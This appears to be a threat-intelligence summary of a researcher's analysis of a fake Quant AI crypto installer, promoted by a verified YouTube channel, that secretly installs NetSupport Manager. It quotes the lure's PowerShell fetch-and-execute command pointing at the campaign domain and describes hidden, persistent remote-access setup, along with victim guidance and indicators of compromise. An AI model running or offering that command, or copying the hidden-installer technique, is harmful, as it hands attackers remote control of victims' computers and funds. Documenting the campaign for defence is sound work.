Verified YouTube Channel Promoted Fake Quant AI App That Installs NetSupport Manager
Summary
Researcher Luke Wilkinson says a fake Quant AI installer promoted by a verified YouTube channel deploys hidden, persistent NetSupport Manager via PowerShell. He analyzed but did not run the payload and saw no live session; affected users are advised to check for the app
Key points
- Wilkinson reports that two Quant AI promotional videos on a verified YouTube channel had about 190,000 views; he suspects the channel was repurposed but could not determine whether it was bought or taken over.
- The installer instructs users to paste a PowerShell command that fetches and runs a script from quantai[.]io; a browser-like request received a Cloudflare block page.
- According to Wilkinson’s analysis, the script sends the computer name to chartsgpt[.]com, installs a signed NetSupport Manager client, creates a Startup shortcut, and opens a signed decoy Quant app.
- The NetSupport configuration disables its tray icon, connection prompt, and user disconnect option, enabling remote screen, keyboard, file-transfer, and command-line access.
- Wilkinson downloaded and examined the stages but did not run them or observe a live remote session; he does not know how many viewers ran the command.
- At 04:06 UTC on 12 November, the four campaign domains still resolved, but Wilkinson cautioned that DNS resolution did not prove the servers were still responding.
- His guidance includes checking for campaign folders, Startup shortcuts, connections on port 2084, and the installer command in PowerShell history; suspected victims should disconnect and reset Windows.
Article Details
- Attack Vectors
- Two YouTube videos promoted the fake Quant AI crypto app. The install instructions appeared only after users signed up and logged in.
- The install page instructed users to paste `irm quantai[.]io/install | iex` into PowerShell, which fetched and ran a script.
- The script sent the computer name to a second server, downloaded NetSupport Manager, configured it to run without a visible tray icon or connection prompt, and added a Startup-folder shortcut.
- A signed Quant app opened as a decoy to make the installation appear successful.
- Defensive Notes
- If the command was pasted, disconnect the PC from the internet to end any remote session.
- From a different device, change email, crypto exchange, and bank passwords; sign out other sessions and treat accessible crypto wallets as exposed.
- Check for the Supports, Stoservice, and Quant folders, service.lnk or stservice.lnk Startup shortcuts, connections on remote port 2084, and the command in PowerShell history.
- For a potentially infected machine, back up documents and photos, then reset Windows using “Remove everything”; notify IT if it is a work laptop.
Indicators of compromise
| Type | Indicator | Context |
|---|---|---|
| DOMAIN | chartsgpt[.]com | Second server contacted by the script to receive the computer name and deliver the payload. |
| DOMAIN | quantai[.]io | Domain hosting the fake Quant AI site and the malicious install script endpoint. |
| IPV4 | 45[.]91[.]202[.]58 | IP address that the article reports both remote-control domains pointed to. |
MITRE ATT&CK
T1059.001 · PowerShellThe install page instructed users to run a command in PowerShell, and the command fetched and executed a script.T1105 · Ingress Tool TransferThe script downloaded the NetSupport Manager payload from a second server.T1219 · Remote Access ToolsThe campaign installed NetSupport Manager configured for hidden remote access, including screen, keyboard, file-transfer, and command-prompt access.T1222.001 · Windows PermissionsThe script changed the installed folder’s permissions; the researcher assessed that this prevented the user’s account from deleting it.T1547.001 · Registry Run Keys / Startup FolderThe script added a shortcut to the Startup folder so the remote-control software would run at login.
People
Vendors
Products
Microsoft WindowsThe server handed the script to Windows PowerShell, while a request that looked like a browser got a Cloudflare block page.PowerShellThe app’s website tells you to install it by pasting a command into PowerShell.Quant AITwo “review” videos for an app called Quant AI went up on 5 November and had about 190,000 views five days later.YouTubeA YouTube channel with a verification badge and 2.23 million subscribers spent the past week promoting a crypto tool that installs remote-control software on your PC.